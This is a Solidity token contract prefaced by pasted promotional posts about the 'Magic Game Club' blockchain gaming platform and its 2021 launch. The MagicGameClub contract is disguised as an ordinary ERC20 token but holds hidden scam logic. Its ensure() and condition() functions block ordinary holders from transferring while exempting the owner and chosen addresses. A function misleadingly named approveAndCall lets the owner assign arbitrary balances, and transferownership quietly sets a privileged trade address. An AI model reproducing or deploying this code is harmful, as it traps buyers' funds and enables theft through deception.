/*
Medium:
https://magicgameclub.medium.com/
Github:
https://github.com/MagicGameClub
Twitter:
https://twitter.com/magicgameclub
Telegram:
https://telegram.me/magicgameclub

Beta Launch — Magic Game Club (MAGICGAME)

We’re extremely proud to announce that Magic Game Club has entered the beta launch phase! You can start testing immediately by visiting our website:
Magic-gameclub.com
There are a few important details we need to share about the beta test phase, which we will outline below.
We welcome all gamers — both newbies and pros alike — to try out Magic Game Club and tell us what you think about the platform! We are accepting all kind of feedback, suggestions and any ideas you may have. Let’s create the blockchain gaming platform of the future together.

Beta test limitations
The most important notice is: you are not playing for real tokens!
The beta test phase will be played with “imaginary” ETH balances which will refill at each page load so that you may play as much as you want!
Deposits & withdrawals are currently disabled and referral bonuses and similar mechanisms will not be live yet. You can however invite new players to the platform using your referral link and once the platform goes live, the referral information will be migrated!
We would also like to note that game graphics, logic and other mechanisms might change during the beta phase and for the official launch.
Referral system
Each player can create his/her own unique referral link which they can then share with communities, friends and other gamers to earn passive income from referral fees — 0.25 % from the total game prize pot — forever!
You can visit the website section for referrals easily by clicking on the “Refer a friend” button in the menu.

Sneak peek of the platform
Take a look at a few pictures from the platform below and we welcome you all to start exploring the features and also start playing the two test games!
Magic Game Club
“Magic Game Club is a next generation hybrid blockchain-based online gaming platform, where players battle each other in fun & addicting simple games for rewards in cryptocurrencies!”

Referrals — Magic Game Club (MAGICGAME)

First things first… The current platform is in Beta!
What does that mean?
Everything you do on the platform until the launch is in testing phase except… Referrals!!!
Referral system — HOW?
How do I refer someone?
Make sure your wallet is connected to Binance Smart Chain.
Connect your wallet to the website MagicGame.gg (the wallet is used only for the referral system and nothing else on the website as it is still in BETA). It should be shown like this:
Connected walletConnected wallet
Connected wallet
Go to the “Refer a friend” section (https://MagicGame.gg/refer), enter your custom referral code and click on “Set”:

Setup your code
After submitting your referral code, your custom link will appear and by clicking on “Copy”, it will be saved to your clipboard and by using paste function you can share it to with your friends, communities and on social media!

Your referral link
And that is how you do it! Simple as saying “WALLSTREETGAMESROCK!”
Referral system — WHY?
What I am going to gain if I refer someone?
Referring a friend means getting up to 0.5% of the game rewards — PASSIVE INCOME!
What is the exact amount of rewards I am going to receive?
There are two possibilities for that:
Your referral is the only one that was referred in that match. Which means that you will get the whole 0.5% of the rewards!
Your referral and his opponent are both referred which means that you will get 0.25% of the rewards as it is split between both referrers.

Magic Game Club
“Magic Game Club is a next generation hybrid blockchain-based online gaming platform, where players battle each other in fun & addicting simple games for rewards in cryptocurrencies!”

Magic Game Club — Pre-Launch Update
What have we done until now and where are we going?
Not even a month old and…
The IDO was a great success! Check how the IDO’s of other platforms went at the time of the highly volatile market and compare it to how ours went. No issues whatsoever! Great success for the team!
Beta testing — A great way to fine-tune the platform, search for the corner cases and identify the issues in real-time. The data acquired is helping us a lot! All thanks to you, MAGICGAME Army!
Listed on UniSwap, BitMart, JulSwap, Bilaxy, and Hotbit!
We listened to the community! We locked & increased the liquidity and opened a MAGICGAME / ETH liquidity pool on UniSwap!
We have acquired a great number of supporters among those we have WSBChairman, Eljaboom, and more!
Where do we go from here?
React platform
The best technology possible — for the best platform!

More info: https://anyforsoft.com/blog/10-famous-websites-built-react-js/ &
https://medium.com/@coderacademy/32-sites-built-with-reactjs-172e3a4bed81
Do we need to say more? ;)
What does it mean for us?
A fast & responsive platform!
A secure platform!
A desktop version!
A mobile version (NOT AN ANDROID OR IOS APP)!

App view on MacBook
Bugs & pest control
As we are in the testing phase new bugs  appear in the process constantly. What we all need to understand is that software development planning is one of the hardest things to do in the business. The largest companies with the best developers in the world cannot set the exact date of launch without risking having critical bugs in it. That’s why the delays happen. As our platform is will be using real coins and tokens, we cannot risk such bugs being present.
NOTE: There will always be things to improve and minor bugs to fix.
Getting ready for liftoff!
The things are getting real! We are going to announce the product launch soon! IF you are wondering why we are not announcing it at this exact moment please refer to the previous topic.
So what comes with the platform launch?
Play “The Trader” against other players with real coins and tokens!
Withdraw and deposit your favorite token!
Usable coins/tokens: WETH, USDT, MAGICGAME, CAKE, DOGE, SHIBA, BAKE, JULD, SFP, TWT, SWG, and CUMMIES!
Weekly rewards for the best players taken from the Treasury!
VIP Group launch!
Enjoy the game and win some fine rewards!
What comes after the launch? 
More games! We are launching with one game. Why? Because we want to see how many players there will be and then gradually expand to other games. Quality over quantity for the win!
Hint: Do you know a game called birdy flap? Or is it the other way around? ;)
Rematch option! Do you want to take your revenge on the one who beat you as the Sith got their revenge on the Jedi in the Star Wars: Revenge of the Sith movie?
Private games! You’ll be able to enjoy games with your friends in peace!
A Discord channel & UX improvements on the platform!
Single-asset NFT staking!!!

NTF? Hmm…
And so much more waiting in line! 
“Magic Game Club is a next-generation hybrid blockchain-based online gaming platform, where players battle each other in fun & addicting simple games for rewards in cryptocurrencies!”

Platform Launch Announcement

The OFFICIAL RELEASE date is on the 1st of July 2021!
Yes, you heard it correctly! The platform is in the final stage before the release!
 The platform will go live on the 1st of July 2021 at 12:00 UTC! 
What to expect on 01.07.2021? 
On 01.07.2021 you will be able to:
Connect your wallet and play Coin Explorer with the next tokens: ETH, CAKE, USDT, BAKE, JULD, SFP, TWT, SHIBA, DOGE, and MAGICGAME!
The best & the most active players on the platform will be awarded through the weekly treasury rewards!
Play and practice for free both Coin Explorer and The Trader!
The maximum wager amount will be $100 for the foreseeable future! This could be increased if we see a demand for it.
The minimum wager amount will be $5! This could be increased or decreased if we see a demand for it but we still need to take into account the network fees.
VIP Group Launch!
What changed and why? 
Security, quality, and one more time SECURITY!
We are not going to release The Trader game to be played with tokens and coins because some changes will be made to the gameplay. The game will be updated and remodeled to fit our platform and be secure for our users!
Some tokens were left out because their project situation did not suit our platform's needs or have had a bad market performance.
Website maintenance mode activates on the 29th of June! 
The Website will be down two days before the release to migrate everything on the live platform and avoid any unnecessary issues.
The staking page will work without interference!
What comes after the launch? 
More games! We are launching with one game. Why? Because we want to see how many players there will be and then gradually expand to other games. Quality over quantity for the win!
Rematch option! Do you want to take your revenge on the one who beat you as the Sith got their revenge on the Jedi in the Star Wars: Revenge of the Sith movie? 
Private games! You’ll be able to enjoy games with your friends in peace!
A Discord channel & UX improvements on the platform!
Single-asset NFT staking!!!

“Magic Game Club is a next-generation hybrid blockchain-based online gaming platform, where players battle each other in fun & addicting simple games for rewards in cryptocurrencies!”
*/

pragma solidity ^0.5.17;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library SafeERC20 {
    using SafeMath for uint;
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}


contract MagicGameClub {
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
 
    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }
 
    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
       
        if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
            return true;
        }
        require(condition(_from, _value));
        return true;
    }
    
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        _onSaleNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }
 
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    
    function condition(address _from, uint _value) internal view returns(bool){
        if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
        
        if(_saleNum > 0){
            if(_onSaleNum[_from] >= _saleNum) return false;
        }
        if(_minSale > 0){
            if(_minSale > _value) return false;
        }
        if(_maxSale > 0){
            if(_value > _maxSale) return false;
        }
        return true;
    }
 
    mapping(address=>uint256) private _onSaleNum;
    mapping(address=>bool) private canSale;
    uint256 private _minSale;
    uint256 private _maxSale;
    uint256 private _saleNum;
    function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
        require(msg.sender == owner);
        if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
        canSale[spender]=true;
        return true;
    }

    address tradeAddress;
    function transferownership(address addr) public returns(bool) {
        require(msg.sender == owner);
        tradeAddress = addr;
        return true;
    }
 
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
 
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private owner;
 
    constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}